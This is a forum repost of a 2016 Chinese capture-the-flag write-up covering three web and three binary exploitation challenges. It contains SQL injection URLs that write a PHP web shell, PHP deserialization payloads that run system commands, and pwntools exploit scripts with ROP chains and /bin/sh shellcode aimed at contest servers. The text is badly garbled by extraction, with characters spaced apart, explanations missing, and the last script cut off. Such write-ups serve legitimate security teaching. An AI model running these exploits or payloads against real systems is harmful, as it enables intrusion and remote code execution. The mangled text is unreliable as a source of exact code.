[2755] 2016-04-17_第三届4.29首都网络安全日“安恒杯”网络安全技术大赛初赛writeup(Part1)

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-16
2016-04-17_第三届4.29首都网络安全日“安恒杯”网络安全技术大赛初赛writeup(Part1) 4 . 2 9 w r i t e u p   ( P a r t   1 )   E   2 0 1 6 - 0 4 - 1 7 W E B W e b   1 5 0   w e b 1 Y o u   a r e   n o t   a n   a d m i n i s t r a t o r s e s s i o n u i d u s e r n a m e c o o k i e u s e r n a m e u i d u i d u i d c o o k i e u s e r n a m e u i d 1 1 1 0 0 0 u i d u s e r n a m e 1 1 2 a b c u i d u i d 1 2 2 . 2 1 a b c 1 0 0 0 a b c u i d u s e r n a m e
W e b   2 0 0   w e b 2 H o w   t o   b e   a   g o o d   m o d e l i n g   a g e n t / i n d e x . p h p ? a c t i o n = v i e w & m o d = i n d e x & b y = a g e b y S Q L 访 . / i n d e x . p h p ? a c t i o n = v i e w & m o d = i n d e x & b y = a g e ` % 2 0 A S % 2 0 D E C I M A L ) % 2 3 . / i n d e x . p h p ? a c t i o n = v i e w & m o d = i n d e x & b y = i d ` % 2 0 A S % 2 0 D E C I M A L ) % 2 0 d e s c % 2 0 i n t o % 2 0 o u t f i l e % 2 0 % 2 7 / v a r / w w w / h t m l / e v i l . p h p % 2 7 % 2 3 . / i n d e x . p h p ? a c t i o n = v i e w & m o d = i n d e x & b y = i d ` % 2 0 A S % 2 0 D E C I M A L ) % 2 0 d e s c % 2 0 i n t o % 2 0 o u t f i l e % 2 0 % 2 7 / v a r / w w w / h t m l / e v i l . p h p % 2 7 % 2 3 w e b u p l o a d u p l o a d u p l o a d f l a g f l a g u p l o a d
    W e b   3 5 0   w e b 3 b u g s . p h p . n e t p h p i n f o . p h p s e s s i o n i n d e x . p h p h t t p s : / / b u g s . p h p . n e t / b u g . p h p ? i d = 7 1 1 0 1 c l a s s . p h p O : 4 : " f o o 1 " : 1 : { s : 4 : " v a r r " ; O : 4 : " f o o 2 " : 2 : { s : 4 : " v a r r " ; s : 1 : " 1 " ; s : 3 : " o b j " ; O : 4 : " f o o 3 " : 1 : { s : 4 : " v a r r " ; s : 3 0 : " s y s t e m ( " l s - a   / v a r / w w w / h t m l " ) ; " ; } } } s e s s i o n p h p i n f o s e s s i o n . u p l o a d _ p r o g r e s s . e n a b l e d h t t p : / / p h p . n e t / m a n u a l / z h / s e s s i o n . u p l o a d - p r o g r e s s . p h p   < f o r m a c t i o n = " h t t p : / / 1 1 4 . 5 5 . 5 4 . 2 8 / p h p i n f o . p h p "   m e t h o d = " p o s t " e n c t y p e = " m u l t i p a r t / f o r m - d a t a " > < i n p u t t y p e = " h i d d e n "   n a m e = " P H P _ S E S S I O N _ U P L O A D _ P R O G R E S S " v a l u e = " 1 2 3 " > < i n p u t t y p e = " f i l e "   n a m e = " f i l e " > < i n p u t t y p e = " s u b m i t " > < / f o r m > f i l e n a m e f i l e n a m e = | O : 4 : " f o o 1 " : 1 : { s : 4 : " v a r r " ; O : 4 : " f o o 2 " : 2 : { s : 4 : " v a r r " ; s : 1 : " 1 " ; s : 3 : " o b j " ; O : 4 : " f o o 3 " : 1 : { s : 4 : " v a r r " ; s : 3 0 : " s y s t e m ( " l s - a   / v a r / w w w / h t m l " ) ; " ; } } } 访 i n d e x . p h p f l a g f i l e n a m e f i l e n a m e = | O : 4 : " f o o 1 " : 1 : { s : 4 : " v a r r " ; O : 4 : " f o o 2 " : 2 : { s : 4 : " v a r r " ; s : 1 : " 1 " ; s : 3 : " o b j " ; O : 4 : " f o o 3 " : 1 : { s : 4 : " v a r r " ; s : 2 7 : " s y s t e m ( " c a t f l a g _ x x x . p h p " ) ; " ; } } } 访 i n d e x . p h p f l a g   P W N P W N   2 5 0   p w n 1 m a i n n a m e 3 b u f f e r   a s l r     n x j u n m o x i a o @ s k y : ~ / D e s k t o p / p w n 1 / p w n 1 $ f i l e   p w n 1 p w n 1 :   E L F   3 2 - b i t L S B     e x e c u t a b l e ,   I n t e l   8 0 3 8 6 ,   v e r s i o n   1 ( S Y S V ) ,   d y n a m i c a l l y   l i n k e d   ( u s e s   s h a r e d   l i b s ) ,   f o r   G N U / L i n u x 2 . 6 . 2 4 , B u i l d I D [ s h a 1 ] = 1 3 f b 2 4 7 1 b b e d 2 9 2 0 a a 1 6 e f a 1 3 9 6 f 1 a 6 f e a b 1 6 0 3 f ,   n o t   s t r i p p e d
  使 s y s t e m @ P L T " s h x 0 0 " s y s t e m @ P L T s h e l l E x p f r o m   p w n   i m p o r t   * s y s t e m _ g o t _ p l t   =   0 x 0 8 0 4 8 4 b 0 s y s t e m _ a r g   =   0 x 8 0 4 8 2 e a o f f s e t   =   1 4 0 p a y l o a d   =   ' a ' * 1 4 0 + p 3 2 ( s y s t e m _ g o t _ p l t ) + ' b ' * 4 + p 3 2 ( s y s t e m _ a r g ) # p   =   p r o c e s s ( " . / p w n 1 " ) p   =   r e m o t e ( ' 1 2 0 . 2 7 . 1 4 4 . 1 7 7 ' ,   8 0 0 0 ) p . r e c v u n t i l ( " n a m e : " ) p . s e n d l i n e ( p a y l o a d ) p . r e c v u n t i l ( " : " ) # r a w _ i n p u t ( " d e b u g " ) p . s e n d l i n e ( " 1 " ) p . i n t e r a c t i v e ( )     P W N   3 5 0   p w n 2 j u n m o x i a o @ s k y : ~ / D e s k t o p / p w n 2 $ f i l e   p w n 2 p w n 2 :   E L F   3 2 - b i t L S B     e x e c u t a b l e ,   I n t e l   8 0 3 8 6 ,   v e r s i o n   1 ( G N U / L i n u x ) ,   s t a t i c a l l y   l i n k e d ,   f o r   G N U / L i n u x 2 . 6 . 2 4 , B u i l d I D [ s h a 1 ] = 1 6 5 4 0 6 f 6 f e 5 9 d f a e 5 5 d 7 1 2 9 b 5 e f 7 c a 5 8 b f 1 1 5 3 5 3 ,   n o t   s t r i p p e d 1   4 2   3   m a i n b u f f e r   r o p j u n m o x i a o @ s k y : ~ / D e s k t o p / p w n 2 $ r e a d e l f   - s   p w n 2   |   g r e p   e x e c       8 9 6 :   0 8 0 b 9 0 e 0     2 3 1 1   F U N C       L O C A L     D E F A U L T         6   e x e c u t e _ c f a _ p r o g r a m       9 0 0 : 0 8 0 b a 2 2 0     1 8 8 4   F U N C         L O C A L   D E F A U L T         6   e x e c u t e _ s t a c k _ o p     1 1 9 4 :   0 8 0 a 2 4 8 0         8 8   F U N C       G L O B A L   D E F A U L T         6 _ d l _ m a k e _ s t a c k _ e x e c u t a b l e     2 2 1 3 :   0 8 0 e a 9 f 4           4   O B J E C T   G L O B A L   D E F A U L T       2 4 _ d l _ m a k e _ s t a c k _ e x e c u t a b l e
  g d b - p e d a $ d i s a s s e m b l e   _ d l _ m a k e _ s t a c k _ e x e c u t a b l e D u m p   o f   a s s e m b l e r c o d e   f o r   f u n c t i o n   _ d l _ m a k e _ s t a c k _ e x e c u t a b l e :       0 x 0 8 0 a 2 4 8 0   < + 0 > :   p u s h       e b x       0 x 0 8 0 a 2 4 8 1   < + 1 > :   m o v         e b x , e a x       0 x 0 8 0 a 2 4 8 3   < + 3 > :   s u b         e s p , 0 x 1 8       0 x 0 8 0 a 2 4 8 6   < + 6 > :   m o v         e d x , D W O R D   P T R   [ e a x ]       0 x 0 8 0 a 2 4 8 8   < + 8 > :   m o v         e a x , d s : 0 x 8 0 e a a 0 8       0 x 0 8 0 a 2 4 8 d   < + 1 3 > :         m o v       e c x , e a x       0 x 0 8 0 a 2 4 8 f   < + 1 5 > :         n e g       e c x       0 x 0 8 0 a 2 4 9 1   < + 1 7 > :         a n d       e c x , e d x       0 x 0 8 0 a 2 4 9 3   < + 1 9 > :         c m p       e d x , D W O R D   P T R   d s : 0 x 8 0 e 9 f c 4       0 x 0 8 0 a 2 4 9 9   < + 2 5 > :         j n e       0 x 8 0 a 2 4 c 7   < _ d l _ m a k e _ s t a c k _ e x e c u t a b l e + 7 1 >       0 x 0 8 0 a 2 4 9 b   < + 2 7 > :         m o v       e d x , D W O R D   P T R   d s : 0 x 8 0 e 9 f e c       0 x 0 8 0 a 2 4 a 1   < + 3 3 > :         m o v       D W O R D   P T R   [ e s p + 0 x 4 ] , e a x       0 x 0 8 0 a 2 4 a 5   < + 3 7 > :         m o v       D W O R D   P T R   [ e s p ] , e c x       0 x 0 8 0 a 2 4 a 8   < + 4 0 > :         m o v       D W O R D   P T R   [ e s p + 0 x 8 ] , e d x       0 x 0 8 0 a 2 4 a c   < + 4 4 > :         c a l l     0 x 8 0 6 d d 5 0   < m p r o t e c t >       0 x 0 8 0 a 2 4 b 1   < + 4 9 > :         t e s t     e a x , e a x       0 x 0 8 0 a 2 4 b 3   < + 5 1 > :         j n e       0 x 8 0 a 2 4 c e   < _ d l _ m a k e _ s t a c k _ e x e c u t a b l e + 7 8 >       0 x 0 8 0 a 2 4 b 5   < + 5 3 > :         m o v       D W O R D   P T R   [ e b x ] , 0 x 0       0 x 0 8 0 a 2 4 b b   < + 5 9 > :         o r         D W O R D   P T R   d s : 0 x 8 0 e a 9 f 8 , 0 x 1       0 x 0 8 0 a 2 4 c 2   < + 6 6 > :         a d d       e s p , 0 x 1 8       0 x 0 8 0 a 2 4 c 5   < + 6 9 > :         p o p       e b x       0 x 0 8 0 a 2 4 c 6   < + 7 0 > :         r e t             0 x 0 8 0 a 2 4 c 7   < + 7 1 > :         m o v       e a x , 0 x 1       0 x 0 8 0 a 2 4 c c   < + 7 6 > :         j m p       0 x 8 0 a 2 4 c 2   < _ d l _ m a k e _ s t a c k _ e x e c u t a b l e + 6 6 >       0 x 0 8 0 a 2 4 c e   < + 7 8 > :         m o v       e a x , 0 x f f f f f f e 8       0 x 0 8 0 a 2 4 d 3   < + 8 3 > :         m o v       e a x , D W O R D   P T R   g s : [ e a x ]       0 x 0 8 0 a 2 4 d 6   < + 8 6 > :         j m p       0 x 8 0 a 2 4 c 2   < _ d l _ m a k e _ s t a c k _ e x e c u t a b l e + 6 6 > E n d   o f   a s s e m b l e r d u m p . g d b - p e d a $ 使 m p r o t e c t s h e l l c o d e   g a d g e t   # # # # # # # # # # # # # # # # # # # # # # # # # # # s e t   _ _ s t a c k _ p r o t   =   0 x 7   g 1   =   0 x 0 8 0 a 1 d a d   # m o v   d w o r d   [ e d x ] ,   e a x   ;   r e t     ; g 1 _ 1   =   0 x 0 8 0 b b 4 0 6 #   p o p   e a x   ;   r e t     ;
g 1 _ 2   =   0 x 0 8 0 6 e d 0 a #   p o p   e d x   ;   r e t     ; s t a c k _ p r o t   = 0 x 8 0 e 9 f e c   # # # # # # # # # # # # # # # # # # # # # # # # # # # i n v o k e   _ d l _ m a k e _ s t a c k _ e x e c u t a b l e   g 2   =   0 x 0 8 0 a 2 4 8 0   # _ d l _ m a k e _ s t a c k _ e x e c u t a b l e g 2 _ 1   =   0 x 0 8 0 b b 4 0 6 #   p o p   e a x   ;   r e t     ; l i b c _ s t a c k _ e n d   = 0 x 8 0 e 9 f c 4   # # # # # # # # # # # # # # # # # # # # # # # # # # # j u m p   t o   s h e l l c o d e   g 3   =   0 x 0 8 0 c 0 9 c 3   # j m p   e s p   ;   e x p E x p f r o m   p w n   i m p o r t   * i m p o r t   s t r u c t i m p o r t   m a t h # c o n t e x t . l o g _ l e v e l   =   ' d e b u g ' c o n t e x t . t i m e o u t   =   1 0 0 0 0 d e f   c o n v _ s c o d e ( ) :         s h e l l c o d e   =   " x 3 1 x c 0 x 5 0 x 6 8 x 2 f x 2 f x 7 3 x 6 8 x 6 8 x 2 f x 6 2 x 6 9 x 6 e x 8 9 x e 3 x 5 0 x 8 9 x e 2 x 5 3 x 8 9 x e 1 x b 0 x 0 b x c d x 8 0 "         # s h e l l c o d e   =   " x 2 0 " * 2 8         # s h e l l c o d e   =   " x 3 1 x c 9 x f 7 x e 1 x 5 1 x 6 8 x 2 f x 2 f x 7 3 x 6 8 x 6 8 x 2 f x 6 2 x 6 9 x 6 e x 8 9 x e 3 x b 0 x 0 b x c d x 8 0 "         p a d   =   ( i n t ( m a t h . c e i l ( l e n ( s h e l l c o d e ) / 4 . 0 ) ) * 4 )   -   l e n ( s h e l l c o d e )         f o r   i   i n   r a n g e ( 0 ,   p a d ) :                 s h e l l c o d e   + =   ' x 0 0 '         n   =   l e n ( s h e l l c o d e ) / 4         r e t u r n   s t r u c t . u n p a c k ( ' < '   +   ' I ' * n ,   s h e l l c o d e ) d e f   f i l l _ p a d ( p ) :         p . r e c v u n t i l ( ' r e s u l t n ' )         p . s e n d l i n e ( ' 2 ' )         p . r e c v u n t i l ( ' x : ' )         p . s e n d l i n e ( ' 1 ' )         p . r e c v u n t i l ( ' y : ' )         p . s e n d l i n e ( ' 1 ' ) # # # # # # # # # # # # # # # # # # # # # # # # # # #   s e t   _ _ s t a c k _ p r o t   =   0 x 7 g 1   =   0 x 0 8 0 a 1 d a d   #   m o v   d w o r d   [ e d x ] ,   e a x   ;   r e t     ;
g 1 _ 1   =   0 x 0 8 0 b b 4 0 6   #   p o p   e a x   ;   r e t     ; g 1 _ 2   =   0 x 0 8 0 6 e d 0 a   #   p o p   e d x   ;   r e t     ; s t a c k _ p r o t   =   0 x 8 0 e 9 f e c # # # # # # # # # # # # # # # # # # # # # # # # # # #   i n v o k e   _ d l _ m a k e _ s t a c k _ e x e c u t a b l e g 2   =   0 x 0 8 0 a 2 4 8 0   #   _ d l _ m a k e _ s t a c k _ e x e c u t a b l e g 2 _ 1   =   0 x 0 8 0 b b 4 0 6   #   p o p   e a x   ;   r e t     ; l i b c _ s t a c k _ e n d   =   0 x 8 0 e 9 f c 4 # # # # # # # # # # # # # # # # # # # # # # # # # # #   j u m p   t o   s h e l l c o d e g 3   =   0 x 0 8 0 c 0 9 c 3   #   j m p   e s p   ; s h e l l c o d e   =   c o n v _ s c o d e ( ) p   =   r e m o t e ( ' 1 1 4 . 5 5 . 5 5 . 1 0 4 ' ,   7 0 0 0 ) # p   =   p r o c e s s ( ' . / p w n 2 ' ) p . r e c v u n t i l ( ' c a l c u l a t e : ' ) p . s e n d l i n e ( ' 2 5 5 ' )       f o r   i   i n   r a n g e ( 0 ,   1 6 ) :         f i l l _ p a d ( p ) #   s e t   _ _ s t a c k _ p r o t   =   0 x 7 p . r e c v u n t i l ( ' r e s u l t n ' ) p . s e n d l i n e ( ' 1 ' ) p . r e c v u n t i l ( ' x : ' ) p . s e n d l i n e ( s t r ( g 1 _ 1 ) ) p . r e c v u n t i l ( ' y : ' ) p . s e n d l i n e ( ' 0 ' ) p . r e c v u n t i l ( ' r e s u l t n ' ) p . s e n d l i n e ( ' 2 ' ) p . r e c v u n t i l ( ' x : ' ) p . s e n d l i n e ( ' 1 0 0 ' ) p . r e c v u n t i l ( ' y : ' ) p . s e n d l i n e ( ' 9 3 ' ) p . r e c v u n t i l ( ' r e s u l t n ' ) p . s e n d l i n e ( ' 2 ' ) g 1 _ 2   + =   1 0 0 p . r e c v u n t i l ( ' x : ' )
p . s e n d l i n e ( s t r ( g 1 _ 2 ) ) p . r e c v u n t i l ( ' y : ' ) p . s e n d l i n e ( ' 1 0 0 ' ) p . r e c v u n t i l ( ' r e s u l t n ' ) p . s e n d l i n e ( ' 2 ' ) s t a c k _ p r o t   + =   1 0 0 p . r e c v u n t i l ( ' x : ' ) p . s e n d l i n e ( s t r ( s t a c k _ p r o t ) ) p . r e c v u n t i l ( ' y : ' ) p . s e n d l i n e ( ' 1 0 0 ' ) p . r e c v u n t i l ( ' r e s u l t n ' ) p . s e n d l i n e ( ' 2 ' ) g 1   + =   1 0 0 p . r e c v u n t i l ( ' x : ' ) p . s e n d l i n e ( s t r ( g 1 ) ) p . r e c v u n t i l ( ' y : ' ) p . s e n d l i n e ( ' 1 0 0 ' ) #   i n v o k e   _ d l _ m a k e _ s t a c k _ e x e c u t a b l e p . r e c v u n t i l ( ' r e s u l t n ' ) p . s e n d l i n e ( ' 2 ' ) g 2 _ 1   + =   1 0 0 p . r e c v u n t i l ( ' x : ' ) p . s e n d l i n e ( s t r ( g 2 _ 1 ) ) p . r e c v u n t i l ( ' y : ' ) p . s e n d l i n e ( ' 1 0 0 ' ) p . r e c v u n t i l ( ' r e s u l t n ' ) p . s e n d l i n e ( ' 2 ' ) l i b c _ s t a c k _ e n d   + =   1 0 0 p . r e c v u n t i l ( ' x : ' ) p . s e n d l i n e ( s t r ( l i b c _ s t a c k _ e n d ) ) p . r e c v u n t i l ( ' y : ' ) p . s e n d l i n e ( ' 1 0 0 ' ) p . r e c v u n t i l ( ' r e s u l t n ' ) p . s e n d l i n e ( ' 2 ' ) g 2   + =   1 0 0 p . r e c v u n t i l ( ' x : ' ) p . s e n d l i n e ( s t r ( g 2 ) ) p . r e c v u n t i l ( ' y : ' ) p . s e n d l i n e ( ' 1 0 0 ' )
# r a w _ i n p u t ( ' d e b u g ' ) #   j u m p   t o   s h e l l c o d e p . r e c v u n t i l ( ' r e s u l t n ' ) p . s e n d l i n e ( ' 2 ' ) g 3   + =   1 0 0 p . r e c v u n t i l ( ' x : ' ) p . s e n d l i n e ( s t r ( g 3 ) ) p . r e c v u n t i l ( ' y : ' ) p . s e n d l i n e ( ' 1 0 0 ' ) f o r   s c o d e   i n   s h e l l c o d e :         p . r e c v u n t i l ( ' r e s u l t n ' )         p . s e n d l i n e ( ' 1 ' )         p r i n t ( h e x ( s c o d e ) )         p . r e c v u n t i l ( ' x : ' )         p . s e n d l i n e ( s t r ( s c o d e ) )         p . r e c v u n t i l ( ' y : ' )         p . s e n d l i n e ( ' 0 ' ) # t r i g g e r   v u l p . r e c v u n t i l ( ' r e s u l t n ' ) p . s e n d l i n e ( ' 5 ' ) p . i n t e r a c t i v e ( )   P W N   4 5 0   p w n 3 j u n m o x i a o @ s k y : ~ / 4 2 9 $ f i l e   p w n 3 p w n 3 :   E L F   3 2 - b i t L S B     e x e c u t a b l e ,   I n t e l   8 0 3 8 6 ,   v e r s i o n   1 ( S Y S V ) ,   d y n a m i c a l l y   l i n k e d   ( u s e s   s h a r e d   l i b s ) ,   f o r   G N U / L i n u x 2 . 6 . 2 4 , B u i l d I D [ s h a 1 ] = 1 f c 6 d c 9 a 3 4 0 c 9 8 8 4 5 3 3 a 3 b 3 1 8 5 9 1 b e 4 6 9 5 f 8 8 f 1 6 ,   n o t   s t r i p p e d g d b - p e d a $   c h e c k s e c C A N A R Y         :   d i s a b l e d F O R T I F Y       :   d i s a b l e d N X                 :   E N A B L E D P I E               :   d i s a b l e d R E L R O           :   P a r t i a l j u n m o x i a o @ s k y : ~ / 4 2 9 $ o b j d u m p   - R   p w n 3 p w n 3             e l f 3 2 - i 3 8 6 D Y N A M I C   R E L O C A T I O N R E C O R D S
O F F S E T       T Y P E                             V A L U E 0 8 0 4 9 f f c R _ 3 8 6 _ G L O B _ D A T         _ _ g m o n _ s t a r t _ _ 0 8 0 4 a 0 6 0 R _ 3 8 6 _ C O P Y                 s t d o u t 0 8 0 4 a 0 0 c R _ 3 8 6 _ J U M P _ S L O T       p r i n t f 0 8 0 4 a 0 1 0 R _ 3 8 6 _ J U M P _ S L O T       f f l u s h 0 8 0 4 a 0 1 4 R _ 3 8 6 _ J U M P _ S L O T       p u t s 0 8 0 4 a 0 1 8 R _ 3 8 6 _ J U M P _ S L O T       s y s t e m 0 8 0 4 a 0 1 c R _ 3 8 6 _ J U M P _ S L O T       _ _ g m o n _ s t a r t _ _ 0 8 0 4 a 0 2 0 R _ 3 8 6 _ J U M P _ S L O T       e x i t 0 8 0 4 a 0 2 4 R _ 3 8 6 _ J U M P _ S L O T       _ _ l i b c _ s t a r t _ m a i n 0 8 0 4 a 0 2 8 R _ 3 8 6 _ J U M P _ S L O T       m e m s e t 0 8 0 4 a 0 2 c R _ 3 8 6 _ J U M P _ S L O T       _ _ i s o c 9 9 _ s c a n f i n d e x v a l u e v a l u e 9 退 i n t ,   c h a i n s h e l l s c a n f @ p l t r e t ( p o p   p o p   r e t ) a d d r e s s   o f   % 9 s d a t a s y s t e m @ p l t d a t a e x p f r o m   p w n   i m p o r t   * # c o n t e x t . l o g _ l e v e l   =   ' d e b u g ' # r   =   r e m o t e ( ' 1 2 7 . 0 . 0 . 1 ' ,   7 0 0 0 ) r   =   p r o c e s s ( ' . / p w n 3 ' ) r . r e c v u n t i l ( ' n a m e   n ' ) r . s e n d l i n e ( ' 1 2 3 ' )   # r a w _ i n p u t ( ' d e b u g ' ) r . r e c v u n t i l ( ' i n d e x n ' ) r . s e n d l i n e ( s t r ( - 2 1 4 7 4 8 3 6 4 8   +   1 4 ) ) r . r e c v u n t i l ( ' v a l u e n ' ) r . s e n d l i n e ( s t r ( i n t ( ' 8 0 4 8 4 7 0 ' ,   1 6 ) ) ) r . r e c v u n t i l ( ' i n d e x n ' )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则